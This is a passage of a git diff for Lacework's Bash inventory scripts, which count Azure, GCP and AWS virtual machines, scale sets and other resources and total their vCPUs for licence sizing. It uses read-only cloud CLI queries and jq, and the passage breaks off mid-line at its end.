"* Works great in a cloud shell" + echo "* It has been verified to work on Mac and Linux based systems" + echo "* Has been observed to work with Windows Subsystem for Linux to run on Windows" + echo "* Run using the following syntax: ./lw_azure_inventory.sh, sh lw_azure_inventory.sh will not work" + echo "" + echo "Available flags:" + echo " -s Comma separated list of Azure subscriptions to scan." + echo " ./lw_azure_inventory.sh -p subscription-1,subscription-2" + echo " -m Comma separated list of Azure management groups to scan." + echo " ./lw_azure_inventory.sh -m 1234,456" } -function setSubscription { - SUB=$1 - az account set --subscription $SUB -} - -function getResourceGroups { - az group list | jq -r '.[] | .name' -} +#Ensure the script runs with the BASH shell +echo $BASH | grep -q "bash" +if [ $? -ne 0 ] +then + echo The script is running using the incorrect shell. + echo Use ./lw_azure_inventory.sh to run the script using the required shell, bash. + exit +fi + +set -o errexit +set -o pipefail + +while getopts ":m:s:" opt; do + case ${opt} in + s ) + SUBSCRIPTION=$OPTARG + ;; + m ) + MANAGEMENT_GROUP=$OPTARG + ;; + \? ) + showHelp + exit 1 + ;; + : ) + showHelp + exit 1 + ;; + esac +done +shift $((OPTIND -1)) -function getVMs { - az vm list -d --query "[?powerState=='VM running']" | jq length +function removeMap { + if [[ -f "./tmp_map" ]]; then + rm ./tmp_map + fi } -function getVMSS { - az vmss list --query "[].sku.capacity" | jq add +function installExtensions { + resourceGraphPresent=$(az extension list -o json --query "contains([].name, \`resource-graph\`)") + if [ "$resourceGraphPresent" != true ] ; then + echo "Resource-graph extension not present in Az CLI installation. Enabling..." + az extension add --name "resource-graph" + else + echo "Resource-graph extension already present..." + fi + accountPresent=$(az extension list -o json --query "contains([].name, \`account\`)") + if [ "$accountPresent" != true ] ; then + echo "Account extension not present in Az CLI installation. Enabling..." + az extension add --name "account" + else + echo "Account extension already present..." + fi } -function getSQLServers { - az sql server list | jq length -} +# set trap to remove tmp_map file regardless of exit status +trap removeMap EXIT -function getLoadBalancers { - az network lb list | jq length -} -function getGateways { - RG=$1 - az network vnet-gateway list --resource-group $RG | jq length +# Set the initial counts to zero. +AZURE_VMS_VCPU=0 +AZURE_VMS_COUNT=0 +AZURE_VMSS_VCPU=0 +AZURE_VMSS_VM_COUNT=0 +AZURE_VMSS_COUNT=0 + +installExtensions + +echo "Building Azure VM SKU to vCPU map..." +az vm list-skus --resource-type virtualmachines -o json |\ + jq -r '.[] | .name as $parent | select(.capabilities != null) | .capabilities[] | select(.name == "vCPUs") | $parent+":"+.value' |\ + sort | uniq > ./tmp_map +echo "Map built successfully." +################################### + +function runSubscriptionAnalysis { + local subscriptionId=$1 + local subscriptionName=$2 + local vms=$3 + local vmss=$4 + local subscriptionVmVcpu=0 + local subscriptionVmCount=0 + local subscriptionVmssVcpu=0 + local subscriptionVmssVmCount=0 + local subscriptionVmssCount=0 + + + # tally up VM vCPU + local VM_LINES=$(echo $vms | jq -r --arg subscriptionId "$subscriptionId" '.data[] | select(.subscriptionId==$subscriptionId) | select(.powerState=="PowerState/running") | .sku') + if [[ ! -z $VM_LINES ]] + then + while read i; do + # lookup the vCPU in the map, extract the value + local vCPU=$(grep $i: ./tmp_map | cut -d: -f2) + if [[ ! -z $vCPU ]] + then + subscriptionVmCount=$(($subscriptionVmCount + 1)) + subscriptionVmVcpu=$(($subscriptionVmVcpu + $vCPU)) + fi + done <<< "$VM_LINES" + fi + + # tally up VMSS vCPU -- using a here string to populate the while loop + local VMSS_LINES=$(echo $vmss | jq -r --arg subscriptionId "$subscriptionId" '.data[] | select(.subscriptionId==$subscriptionId) | .sku+":"+(.capacity|tostring)') + if [[ ! -z $VMSS_LINES ]] + then + while read i; do + local sku=$(echo $i | cut -d: -f1) + local capacity=$(echo $i | cut -d: -f2) + + local vCPU=$(grep $sku: ./tmp_map | cut -d: -f2) + if [[ ! -z $vCPU ]] + then + local total_vCPU=$(($vCPU * $capacity)) + + subscriptionVmssVcpu=$(($subscriptionVmssVcpu + $total_vCPU)) + subscriptionVmssVmCount=$(($subscriptionVmssVmCount + $capacity)) + subscriptionVmssCount=$(($subscriptionVmssCount + 1)) + fi + done <<< "$VMSS_LINES" + fi + + AZURE_VMS_COUNT=$(($AZURE_VMS_COUNT + $subscriptionVmCount)) + AZURE_VMS_VCPU=$(($AZURE_VMS_VCPU + $subscriptionVmVcpu)) + AZURE_VMSS_VCPU=$(($AZURE_VMSS_VCPU + $subscriptionVmssVcpu)) + AZURE_VMSS_VM_COUNT=$(($AZURE_VMSS_VM_COUNT + $subscriptionVmssVmCount)) + AZURE_VMSS_COUNT=$(($AZURE_VMSS_COUNT + $subscriptionVmssCount)) + + echo "\"$subscriptionId\", \"$subscriptionName\", $subscriptionVmCount, $subscriptionVmVcpu, $subscriptionVmssCount, $subscriptionVmssVmCount, $subscriptionVmssVcpu, $(($subscriptionVmVcpu + $subscriptionVmssVcpu))" } -originalsub=$(az account show | jq -r '.id') - -echo "Starting inventory check." -echo "Fetching Subscriptions..." - -for sub in $(getSubscriptions); do - echo "Switching to subscription $sub" - setSubscription $sub - - echo "Fetching VMs..." - vms=$(getVMs) - AZURE_VMS=$(($AZURE_VMS + $vms)) - - echo "Fetching VM Scale Sets..." - vmss=$(getVMSS) - AZURE_VMSS=$(($AZURE_VMSS + $vmss)) - - echo "Fetching SQL Databases..." - sql=$(getSQLServers) - SQL_SERVERS=$(($SQL_SERVERS + $sql)) - - echo "Fetching Load Balancers..." - lbs=$(getLoadBalancers) - LOAD_BALANCERS=$(($LOAD_BALANCERS + $lbs)) +function runAnalysis { + local scope=$1 + echo Load subscriptions + local expectedSubscriptions=$(az graph query -q "resourcecontainers | where type == 'microsoft.resources/subscriptions' | project name, subscriptionId" $scope -o json) + local expectedSubscriptionIds=$(echo $expectedSubscriptions | jq -r '.data[] | .subscriptionId' | sort) + echo Load VMs + local vms=$(az graph query -q "Resources | where type=~'microsoft.compute/virtualmachines' | project subscriptionId, name, sku=properties.hardwareProfile.vmSize, powerState=properties.extended.instanceView.powerState.code" $scope -o json) + echo Load VMSS + local vmss=$(az graph query -q "Resources | where type=~ 'microsoft.compute/virtualmachinescalesets' | project subscriptionId, name, sku=sku.name, capacity = toint(sku.capacity)" $scope -o json) + + local actualSubscriptionIds=$(echo $vms | jq -r '.data[] | .subscriptionId' | sort | uniq) + + echo '"Subscription ID", "Subscription Name", "VM Instances", "VM vCPUs", "VM Scale Sets", "VM Scale Set Instances", "VM Scale Set vCPUs", "Total Subscription vCPUs"' + + #First analyze data for all subscriptions we didn't expect to find + for actualSubscriptionId in $actualSubscriptionIds + do + local foundSubscriptionId=$(echo $expectedSubscriptions | jq -r --arg subscriptionId "$actualSubscriptionId" '.data[] | select(.subscriptionId==$subscriptionId) | .subscriptionId') + if [ "$actualSubscriptionId" != "$foundSubscriptionId" ]; then + runSubscriptionAnalysis $actualSubscriptionId "" "$vms" "$vmss" + fi + done - echo "Fetching Gateways..." - for group in $(getResourceGroups); do - gw=$(getGateways $group) - GATEWAYS=$(($GATEWAYS + $gw)) + # Go through all results, sorted by all subscriptions we'd expect to find + for expectedSubscriptionId in $expectedSubscriptionIds + do + local subscriptionName=$(echo $expectedSubscriptions | jq -r --arg subscriptionId "$expectedSubscriptionId" '.data[] | select(.subscriptionId==$subscriptionId) | .name') + runSubscriptionAnalysis $expectedSubscriptionId "$subscriptionName" "$vms" "$vmss" done -done +} + -echo "Setting back original subscription into AZ CLI context" -az account set --subscription $originalsub +# Management group takes precedence...partial scopes ALLOWED +if [[ ! -z "$MANAGEMENT_GROUP" ]]; then + runAnalysis "--management-groups ${MANAGEMENT_GROUP//,/ }" +elif [[ ! -z "$SUBSCRIPTION" ]]; then + runAnalysis "--subscriptions ${SUBSCRIPTION//,/ }" +else + echo "Load all subscriptions available to user" + subscriptions=$(az account subscription list -o json | jq -r '.[] | .subscriptionId') + runAnalysis "--subscriptions $subscriptions" +fi -echo "######################################################################" +echo "##########################################" echo "Lacework inventory collection complete." echo "" -echo "Azure VMs: $AZURE_VMS" -echo "Azure VMSS: $AZURE_VMSS" -echo "SQL Servers: $SQL_SERVERS" -echo "Load Balancers: $LOAD_BALANCERS" -echo "Vnet Gateways: $GATEWAYS" -echo "====================" -echo "Total Resources: $(($AZURE_VMS + $AZURE_VMSS + $SQL_SERVERS + $LOAD_BALANCERS + $GATEWAYS))" - +echo "VM Summary:" +echo "===============================" +echo "VM Instances: $AZURE_VMS_COUNT" +echo "VM vCPUS: $AZURE_VMS_VCPU" +echo "" +echo "VM Scale Set Summary:" +echo "===============================" +echo "VM Scale Sets: $AZURE_VMSS_COUNT" +echo "VM Scale Set Instances: $AZURE_VMSS_VM_COUNT" +echo "VM Scale Set vCPUs: $AZURE_VMSS_VCPU" +echo "" +echo "License Summary" +echo "===============================" +echo " VM vCPUS: $AZURE_VMS_VCPU" +echo "+ VM Scale Set vCPUs: $AZURE_VMSS_VCPU" +echo "-------------------------------" +echo "Total vCPUs: $(($AZURE_VMS_VCPU + $AZURE_VMSS_VCPU))" diff --git a/bash/lw_gcp_gke_provisioner.sh b/bash/lw_gcp_gke_provisioner.sh old mode 100644 new mode 100755 diff --git a/bash/lw_gcp_inventory.sh b/bash/lw_gcp_inventory.sh index 3e22fa3..67ee479 100755 --- a/bash/lw_gcp_inventory.sh +++ b/bash/lw_gcp_inventory.sh @@ -1,102 +1,181 @@ #!/bin/bash -# Script to fetch GCP inventory for Lacework sizing. -# Requirements: gcloud, jq -# This script can be run from Google Cloud Shell. +# Run ./lw_gcp_inventory.sh -h for help on how to run the script. +# Or just read the text in showHelp below. +# Requirements: gcloud, jq -# Set the initial counts to zero. -GCE_INSTANCES=0 -GKE_INSTANCES=0 -SQL_INSTANCES=0 -LOAD_BALANCERS=0 -GATEWAYS=0 - -# Uncomment and replace with your own list of projects. Otherwise the script -# scans all the projects in your organization. You must use the Project ID. -#PROJECT_IDS=(stitch-dev-289221 stitch-vault stitch-jenkins-288315 stitch-infra) - -function getProjects { - gcloud projects list --format json | jq -r ".[] | .projectId" +function showHelp { + echo "lw_gcp_inventory.sh is a tool for estimating license vCPUs in a GCP environment, based on folder," + echo "project or organization level. It leverages the gcp CLI and by default analyzes all project a user" + echo "has access to. The script provides output in a CSV format to be imported into a spreadsheet, as" + echo "well as an easy-to-read summary." + echo "" + echo "By default, the script will scan all projects returned by the following command:" + echo "gcloud projects list" + echo "" + echo "Note the following about the script:" + echo "* Works great in a cloud shell" + echo "* It has been verified to work on Mac and Linux based systems" + echo "* Has been observed to work with Windows Subsystem for Linux to run on Windows" + echo "* Run using the following syntax: ./lw_gcp_inventory.sh, sh lw_gcp_inventory.sh will not work" + echo "" + echo "Available flags:" + echo " -p Comma separated list of GCP projects to scan." + echo " ./lw_gcp_inventory.sh -p project-1,project-2" + echo " -f Comma separated list of GCP folders to scan." + echo " ./lw_gcp_inventory.sh -p 1234,456" + echo " -o Comma separated list of GCP organizations to scan." + echo " ./lw_gcp_inventory.sh -o 1234,456" } -function isComputeEnabled { - gcloud services list --format json | jq -r '.[] | .name' | grep -q "compute.googleapis.com" -} +#Ensure the script runs with the BASH shell +echo $BASH | grep -q "bash" +if [ $? -ne 0 ] +then + echo The script is running using the incorrect shell. + echo Use ./lw_gcp_inventory.sh to run the script using the required shell, bash. + exit +fi -# NOTE - it is technically possible to have a CloudSQL instance without the -# sqladmin API enabled; but you cannot check the instance programatically -# without the API enabled -function isCloudSQLEnabled { - gcloud services list --format json | jq -r '.[] | .name' | grep -q "sqladmin.googleapis.com" -} +set -o errexit +set -o pipefail + +while getopts ":f:o:p:" opt; do + case ${opt} in + f ) + FOLDERS=$OPTARG + ;; + o ) + ORGANIZATIONS=$OPTARG + ;; + p ) + PROJECTS=$OPTARG + ;; + \? ) + showHelp + exit 1 + ;; + : ) + showHelp + exit 1 + ;; + esac +done +shift $((OPTIND -1)) -function getGKEInstances { - gcloud container clusters list --format json | jq '[.[].currentNodeCount] | add' +# Set the initial counts to zero. +TOTAL_GCE_VCPU=0 +TOTAL_GCE_VM_COUNT=0 +TOTAL_PROJECTS=0 + +function analyzeProject { + local project=$1 + local projectVCPUs=0 + local projectVmCount=0 + TOTAL_PROJECTS=$(($TOTAL_PROJECTS + 1)) + + # get all instances within the scope and turn into a map of `{count} {machine_type}` + local instanceList=$(gcloud compute instances list --project $project --quiet --format=json 2>&1) + if [[ $instanceList = [* ]] + then + local instanceMap=$(echo $instanceList | jq -r '.[] | select(.status != ("TERMINATED")) | .machineType' | sort | uniq -c) + # make the for loop split on newline vs. space + IFS=$'\n' + # for each entry in the map, get the vCPU value for the type and aggregate the values + for instance in $instanceMap; + do + local instance=$(echo $instance | tr -s ' ') # trim all but one leading space + local count=$(echo $instance | cut -d ' ' -f 2) # split and take the second value (count) + local machineTypeUrl=$(echo $instance | cut -d ' ' -f 3) # split and take third value (machine_type) + + local location=$(echo $machineTypeUrl | cut -d "/" -f9) # extract location from url + local machineType=$(echo $machineTypeUrl | cut -d "/" -f11) # extract machine type from url + local typeVCPUValue=$(gcloud compute machine-types describe $machineType --zone=$location --project=$project --format=json | jq -r '.guestCpus') # get vCPU for machine type + + projectVCPUs=$(($projectVCPUs + (($count * $typeVCPUValue)))) # increment total count, including Standard GKE + projectVmCount=$(($projectVmCount + $count)) # increment total count, including Standard GKE + done + + TOTAL_GCE_VCPU=$(($TOTAL_GCE_VCPU + $projectVCPUs)) # increment total count, including Standard GKE + TOTAL_GCE_VM_COUNT=$(($TOTAL_GCE_VM_COUNT + $projectVmCount)) # increment total count, including Standard GKE + elif [[ $instanceList == *"SERVICE_DISABLED"* ]] + then + projectVmCount="\"INFO: Compute instance API disabled\"" + elif [[ $instanceList == *"PERMISSION_DENIED"* ]] + then + projectVmCount="\"INFO: Data not available. Permission denied\"" + else + projectVmCount="\"ERROR: Failed to load instance information: $instanceList\"" + fi + echo "\"$project\", $projectVmCount, $projectVCPUs" } -function getGCEInstances { - gcloud compute instances list --format json | jq '[.[] | select(.name | contains("gke-") | not)] | length' -} +function analyzeFolder { + local folder=$1 -function getSQLInstances { - gcloud sql instances list --format json | jq length -} + local folders=$(gcloud resource-manager folders list --folder $folder --format=json | jq -r '.[] | .name' | sed 's/.*\///') + for f in $folders; + do + analyzeFolder "$f" + done -function getLoadBalancers { - gcloud compute forwarding-rules list --format json | jq length + local projects=$(gcloud projects list --format=json --filter="parent.id=$folder AND parent.type=folder" | jq -r '.[] | .projectId') + for project in $projects; + do + analyzeProject "$project" + done } -function getGateways { - gcloud compute routers list --format json | jq '[.[] | .nats | length] | add' +function analyzeOrganization { + local organization=$1 + + local folders=$(gcloud resource-manager folders list --organization $organization --format=json | jq -r '.[] | .name' | sed 's/.*\///') + for f in $folders; + do + analyzeFolder "$f" + done + + local projects=$(gcloud projects list --format=json --filter="parent.id=$organization AND parent.type=organization" | jq -r '.[] | .projectId') + for project in $projects; + do + analyzeProject "$project" + done } -# Define PROJECT_IDS above to scan a subset of projects. Otherwise we scan -# all of the projects in the organization. -if [[ -z $PROJECT_IDS ]]; then - PROJECT_IDS=$(getProjects) +echo \"Project\", \"VM Count\", \"vCPUs\" + +if [ -n "$FOLDERS" ] +then + for FOLDER in $(echo $FOLDERS | sed "s/,/ /g") + do + analyzeFolder "$FOLDER" + done +elif [ -n "$ORGANIZATIONS" ] +then + for ORGANIZATION in $(echo $ORGANIZATIONS | sed "s/,/ /g") + do + analyzeOrganization "$ORGANIZATION" + done +elif [ -n "$PROJECTS" ] +then + for PROJECT in $(echo $PROJECTS | sed "s/,/ /g") + do + analyzeProject "$PROJECT" + done +else + foundProjects=$(gcloud projects list --format json | jq -r ".[] | .projectId") + for foundProject in $foundProjects; + do + analyzeProject "$foundProject" + done fi -# Loop through all the projects and take inventory -for project in ${PROJECT_IDS[@]}; do - echo "" - echo "######################################################################" - echo "Project: $project" - gcloud config set project $project - - if isComputeEnabled; then - echo "Checking for compute resources." - # Update the GCE instances - gce_inst=$(getGCEInstances) - GCE_INSTANCES=$(($GCE_INSTANCES + $gce_inst)) - - # Update the GKE instances - gke_inst=$(getGKEInstances) - GKE_INSTANCES=$(($GKE_INSTANCES + $gke_inst)) - - # Update the load balancers - lbs=$(getLoadBalancers) - LOAD_BALANCERS=$(($LOAD_BALANCERS + $lbs)) - - # Update the gateways - gateways=$(getGateways) - GATEWAYS=$(($GATEWAYS + $gateways)) - fi - - # Check for SQL instances - if isCloudSQLEnabled; then - echo "Checking for Cloud SQL instances." - sqls=$(getSQLInstances) - SQL_INSTANCES=$(($SQL_INSTANCES + $sqls)) - fi -done -echo "######################################################################" +echo "##########################################" echo "Lacework inventory collection complete." echo "" -echo "GCE Instances: $GCE_INSTANCES" -echo "GKE Nodes: $GKE_INSTANCES" -echo "Load Balancers: $LOAD_BALANCERS" -echo "Gateways: $GATEWAYS" -echo "SQL Instances: $SQL_INSTANCES" -echo "====================" -echo "Total Resources: $(($GCE_INSTANCES + $GKE_INSTANCES + $LOAD_BALANCERS + $GATEWAYS + $SQL_INSTANCES))" +echo "License Summary:" +echo "================================================" +echo "Projects analyzed: $TOTAL_PROJECTS" +echo "Number of VMs, including standard GKE: $TOTAL_GCE_VM_COUNT" +echo "vCPUs: $TOTAL_GCE_VCPU" diff --git a/bash/old-resource-scripts/lw_aws_inventory.sh b/bash/old-resource-scripts/lw_aws_inventory.sh new file mode 100755 index 0000000..eccc5f4 --- /dev/null +++ b/bash/old-resource-scripts/lw_aws_inventory.sh @@ -0,0 +1,210 @@ +#!/bin/bash +# Script to fetch AWS inventory for Lacework sizing. +# Requirements: awscli, jq + +# Note: +# 1. You can specify multiple accounts by passing a comma seperated list using the -p flag, e.g. "-p default,qa,test", +# there are no spaces between accounts in the list +# 2. You can specify what regions to cscan by passing the -r flag, e.g. "-r us-east-1,us-east-2" +# 3. The script takes a while to run in large accounts with many resources, provides details per account and a final summary of all resources found. + + +AWS_PROFILE=default +export AWS_MAX_ATTEMPTS=20 +REGIONS="" + +# Usage: ./lw_aws_inventory.sh +while getopts ":p:r:" opt; do + case ${opt} in + p ) + AWS_PROFILE=$OPTARG + ;; + r ) + REGIONS=$OPTARG + ;; + \? ) + echo "Usage: ./lw_aws_inventory.sh [-p profile]" 1>&2 + exit 1 + ;; + : ) + echo "Usage: ./lw_aws_inventory.sh [-p profile]" 1>&2 + exit 1 + ;; + esac +done +shift $((OPTIND -1)) + +# Set the initial counts to zero. +ACCOUNTS=0 +EC2_INSTANCES=0 +RDS_INSTANCES=0 +REDSHIFT_CLUSTERS=0 +ELB_V1=0 +ELB_V2=0 +NAT_GATEWAYS=0 +ECS_FARGATE_CLUSTERS=0 +ECS_FARGATE_RUNNING_TASKS=0 +LAMBDA_FNS=0 +LAMBDA_FNS_EXIST="No" + +function getAccountId { + aws --profile $profile sts get-caller-identity --query "Account" --output text +} + +function getRegions { + aws --profile $profile ec2 describe-regions --output json | jq -r '.[] | .[] | .RegionName' +} + +function getInstances { + aws --profile $profile ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId]' --filters Name=instance-state-name,Values=running,stopped --region $r --output json --no-paginate | jq 'flatten | length' +} + +function getRDSInstances { + aws --profile $profile rds describe-db-instances --region $r --output json --no-paginate | jq '.DBInstances | length' +} + +function getRedshift { + aws --profile $profile redshift describe-clusters --region $r --output json --no-paginate | jq '.Clusters | length' +} + +function getElbv1 { + aws --profile $profile elb describe-load-balancers --region $r --output json --no-paginate | jq '.LoadBalancerDescriptions | length' +} + +function getElbv2 { + aws --profile $profile elbv2 describe-load-balancers --region $r --output json --no-paginate | jq '.LoadBalancers | length' +} + +function getNatGateways { + aws --profile $profile ec2 describe-nat-gateways --region $r --output json --no-paginate | jq '.NatGateways | length' +} + +function getECSFargateClusters { + aws --profile $profile ecs list-clusters --region $r --output json --no-paginate | jq -r '.clusterArns[]' +} + +function getECSFargateRunningTasks { + RUNNING_FARGATE_TASKS=0 + for c in $ecsfargateclusters; do + allclustertasks=$(aws --profile $profile ecs list-tasks --region $r --output json --cluster $c --no-paginate | jq -r '.taskArns | join(" ")') + if [ -n "${allclustertasks}" ]; then + fargaterunningtasks=$(aws --profile $profile ecs describe-tasks --region $r --output json --tasks $allclustertasks --cluster $c --no-paginate | jq '[.tasks[] | select(.launchType=="FARGATE") | .containers[] | select(.lastStatus=="RUNNING")] | length') + RUNNING_FARGATE_TASKS=$(($RUNNING_FARGATE_TASKS + $fargaterunningtasks)) + fi + done + + echo "${RUNNING_FARGATE_TASKS}" +} + + +function getLambdaFunctions { + aws --profile $profile lambda list-functions --region $r --output json --no-paginate | jq '.Functions | length' +} + +function calculateInventory { + profile=$1 + accountid=$(getAccountId $profile) + + accountEC2Instances=0 + accountRDSInstances=0 + accountRedshiftClusters=0 + accountELBV1=0 + accountELBV2=0 + accountNATGateways=0 + accountECSFargateClusters=0 + accountECSFargateRunningTasks=0 + accountLambdaFunctions=0 + + printf "$profile, $accountid, " + local regionsToScan=$(echo $REGIONS | sed "s/,/ /g") + if [ -z "$regionsToScan" ] + then + # Regions to scan not set, get list from AWS + regionsToScan=$(getRegions) + fi + + for r in $regionsToScan; do + printf "$r " + + instances=$(getInstances $r $profile) + EC2_INSTANCES=$(($EC2_INSTANCES + $instances)) + accountEC2Instances=$(($accountEC2Instances + $instances)) + + rds=$(getRDSInstances $r $profile) + RDS_INSTANCES=$(($RDS_INSTANCES + $rds)) + accountRDSInstances=$(($accountRDSInstances + $rds)) + + redshift=$(getRedshift $r $profile) + REDSHIFT_CLUSTERS=$(($REDSHIFT_CLUSTERS + $redshift)) + accountRedshiftClusters=$(($accountRedshiftClusters + $redshift)) + + elbv1=$(getElbv1 $r $profile) + ELB_V1=$(($ELB_V1 + $elbv1)) + accountELBV1=$(($accountELBV1 + $elbv1)) + + elbv2=$(getElbv2 $r $profile) + ELB_V2=$(($ELB_V2 + $elbv2)) + accountELBV2=$(($accountELBV2 + $elbv2)) + + natgw=$(getNatGateways $r $profile) + NAT_GATEWAYS=$(($NAT_GATEWAYS + $natgw)) + accountNATGateways=$(($accountNATGateways + $natgw)) + + ecsfargateclusters=$(getECSFargateClusters $r $profile) + ecsfargateclusterscount=$(echo $ecsfargateclusters | wc -w | xargs) + ECS_FARGATE_CLUSTERS=$(($ECS_FARGATE_CLUSTERS + $ecsfargateclusterscount)) + accountECSFargateClusters=$(($ECS_FARGATE_CLUSTERS + $ecsfargateclusterscount)) + + ecsfargaterunningtasks=$(getECSFargateRunningTasks $r $ecsfargateclusters $profile) + ECS_FARGATE_RUNNING_TASKS=$(($ECS_FARGATE_RUNNING_TASKS + $ecsfargaterunningtasks)) + accountECSFargateRunningTasks=$(($ECS_FARGATE_RUNNING_TASKS + $ecsfargaterunningtasks)) + + lambdafns=$(getLambdaFunctions $r $profile) + LAMBDA_FNS=$(($LAMBDA_FNS + $lambdafns)) + accountLambdaFunctions=$(($LAMBDA_FNS + $lambdafns)) + if [ $LAMBDA_FNS -gt 0 ]; then LAMBDA_FNS_EXIST="Yes"; fi + + regiontotal=$(($instances + $rds + $redshift + $elbv1 + $elbv2 + $natgw)) + + done + accountTotal=$(($accountEC2Instances + $accountRDSInstances + $accountRedshiftClusters + $accountELBV1 + $accountELBV2 + $accountNATGateways)) + + echo , "$accountEC2Instances", "$accountRDSInstances", "$accountRedshiftClusters", "$accountELBV1", "$accountELBV2", "$accountNATGateways", "$accountTotal", "$accountECSFargateClusters", "$accountECSFargateRunningTasks", "$accountLambdaFunctions" + + TOTAL=$(($EC2_INSTANCES + $RDS_INSTANCES + $REDSHIFT_CLUSTERS + $ELB_V1 + $ELB_V2 + $NAT_GATEWAYS)) +} + +function textoutput { + echo "######################################################################" + echo "Lacework inventory collection complete." + echo "" + echo "Accounts Analyzed: $ACCOUNTS" + echo "" + echo "EC2 Instances: $EC2_INSTANCES" + echo "RDS Instances: $RDS_INSTANCES" + echo "Redshift Clusters: $REDSHIFT_CLUSTERS" + echo "v1 Load Balancers: $ELB_V1" + echo "v2 Load Balancers: $ELB_V2" + echo "NAT Gateways: $NAT_GATEWAYS" + echo "====================" + echo "Total Resources: $TOTAL" + echo "" + echo "Fargate Information" + echo "====================" + echo "ECS Fargate Clusters: $ECS_FARGATE_CLUSTERS" + echo "ECS Fargate Running Containers/Tasks: $ECS_FARGATE_RUNNING_TASKS" + echo "" + echo "Additional Serverless Inventory Details (NOT included in Total Resources count above):" + echo "====================" + echo "Lambda Functions Exist: $LAMBDA_FNS_EXIST" +} + +echo "Profile", "Account ID", "Regions", "EC2 Instances", "RDS Instances", "Redshift Clusters", "v1 Load Balancers", "v2 Load Balancers", "NAT Gateways", "Total Resources", "ECS Fargate Clusters", "ECS Fargate Running Containers/Tasks", "Lambda Functions" + +for PROFILE in $(echo $AWS_PROFILE | sed "s/,/ /g") +do + ACCOUNTS=$(($ACCOUNTS + 1)) + calculateInventory $PROFILE +done + +textoutput diff --git a/bash/old-resource-scripts/lw_azure_inventory.sh b/bash/old-resource-scripts/lw_azure_inventory.sh new file mode 100755 index 0000000..22e106a --- /dev/null +++ b/bash/old-resource-scripts/lw_azure_inventory.sh @@ -0,0 +1,97 @@ +#!/bin/bash +# Script to fetch Azure inventory for Lacework sizing. +# Requirements: az cli, jq + +# This script can be run from Azure Cloud Shell. + +# Set the initial counts to zero. +AZURE_VMS=0 +AZURE_VMSS=0 +SQL_SERVERS=0 +LOAD_BALANCERS=0 +GATEWAYS=0 + +function getSubscriptions { + az account list | jq -r '.[] | .id' +} + +function setSubscription { + SUB=$1 + az account set --subscription $SUB +} + +function getResourceGroups { + az group list | jq -r '.[] | .name' +} + +function getVMs { + az vm list -d --query "[?powerState=='VM running']" | jq length +} + +function getVMSS { + az vmss list --query "[].sku.capacity" | jq add +} + +function getSQLServers { + az sql server list | jq length +} + +function getLoadBalancers { + az network lb list | jq length +} + +function getGateways { + RG=$1 + az network vnet-gateway list --resource-group $RG | jq length +} + +function getSubscriptions { + az account list | jq -r '.[] | .id' +} + +originalsub=$(az account show | jq -r '.id') + +echo "Starting inventory check." +echo "Fetching Subscriptions..." + +for sub in $(getSubscriptions); do + echo "Switching to subscription $sub" + setSubscription $sub + + echo "Fetching VMs..." + vms=$(getVMs) + AZURE_VMS=$(($AZURE_VMS + $vms)) + + echo "Fetching VM Scale Sets..." + vmss=$(getVMSS) + AZURE_VMSS=$(($AZURE_VMSS + $vmss)) + + echo "Fetching SQL Databases..." + sql=$(getSQLServers) + SQL_SERVERS=$(($SQL_SERVERS + $sql)) + + echo "Fetching Load Balancers..." + lbs=$(getLoadBalancers) + LOAD_BALANCERS=$(($LOAD_BALANCERS + $lbs)) + + echo "Fetching Gateways..." + for group in $(getResourceGroups); do + gw=$(getGateways $group) + GATEWAYS=$(($GATEWAYS + $gw)) + done +done + +echo "Setting back original subscription into AZ CLI context" +az account set --subscription $originalsub + +echo "######################################################################" +echo "Lacework inventory collection complete." +echo "" +echo "Azure VMs: $AZURE_VMS" +echo "Azure VMSS: $AZURE_VMSS" +echo "SQL Servers: $SQL_SERVERS" +echo "Load Balancers: $LOAD_BALANCERS" +echo "Vnet Gateways: $GATEWAYS" +echo "====================" +echo "Total Resources: $(($AZURE_VMS + $AZURE_VMSS + $SQL_SERVERS + $LOAD_BALANCERS + $GATEWAYS))" + diff --git a/bash/old-resource-scripts/lw_gcp_inventory.sh b/bash/old-resource-scripts/lw_gcp_inventory.sh new file mode 100755 index 0000000..85fc64c --- /dev/null +++ b/bash/old-resource-scripts/lw_gcp_inventory.sh @@ -0,0 +1,102 @@ +#!/bin/bash +# Script to fetch GCP inventory for Lacework sizing. +# Requirements: gcloud, jq + +# This script can be run from Google Cloud Shell. + +# Set the initial counts to zero. +GCE_INSTANCES=0 +GKE_INSTANCES=0 +SQL_INSTANCES=0 +LOAD_BALANCERS=0 +GATEWAYS=0 + +# Uncomment and replace with your own list of projects. Otherwise the script +# scans all the projects in your organization. You must use the Project ID. +#PROJECT_IDS=(stitch-dev-289221 stitch-vault stitch-jenkins-288315 stitch-infra) + +function getProjects { + gcloud projects list --format json | jq -r ".[] | .projectId" +} + +function isComputeEnabled { + gcloud services list --format json | jq -r '.[] | .name' | grep -q "compute.googleapis.com" +} + +# NOTE - it is technically possible to have a CloudSQL instance without the +# sqladmin API enabled; but you cannot check the instance programatically +# without the API enabled +function isCloudSQLEnabled { + gcloud services list --format json | jq -r '.[] | .name' | grep -q "sqladmin.googleapis.com" +} + +function getGKEInstances { + gcloud compute instances list --format json | jq '[.[] | select(.name | contains("gke-"))] | length' +} + +function getGCEInstances { + gcloud compute instances list --format json | jq '[.[] | select(.name | contains("gke-") | not)] | length' +} + +function getSQLInstances { + gcloud sql instances list --format json | jq length +} + +function getLoadBalancers { + gcloud compute forwarding-rules list --format json | jq length +} + +function getGateways { + gcloud compute routers list --format json | jq '[.[] | .nats | length] | add' +} + +# Define PROJECT_IDS above to scan a subset of projects. Otherwise we scan +# all of the projects in the organization. +if [[ -z $PROJECT_IDS ]]; then + PROJECT_IDS=$(getProjects) +fi + +# Loop through all the projects and take inventory +for project in ${PROJECT_IDS[@]}; do + echo "" + echo "######################################################################" + echo "Project: $project" + gcloud config set project $project + + if isComputeEnabled; then + echo "Checking for compute resources." + # Update the GCE instances + gce_inst=$(getGCEInstances) + GCE_INSTANCES=$(($GCE_INSTANCES + $gce_inst)) + + # Update the GKE instances + gke_inst=$(getGKEInstances) + GKE_INSTANCES=$(($GKE_INSTANCES + $gke_inst)) + + # Update the load balancers + lbs=$(getLoadBalancers) + LOAD_BALANCERS=$(($LOAD_BALANCERS + $lbs)) + + # Update the gateways + gateways=$(getGateways) + GATEWAYS=$(($GATEWAYS + $gateways)) + fi + + # Check for SQL instances + if isCloudSQLEnabled; then + echo "Checking for Cloud SQL instances." + sqls=$(getSQLInstances) + SQL_INSTANCES=$(($SQL_INSTANCES + $sqls)) + fi +done + +echo 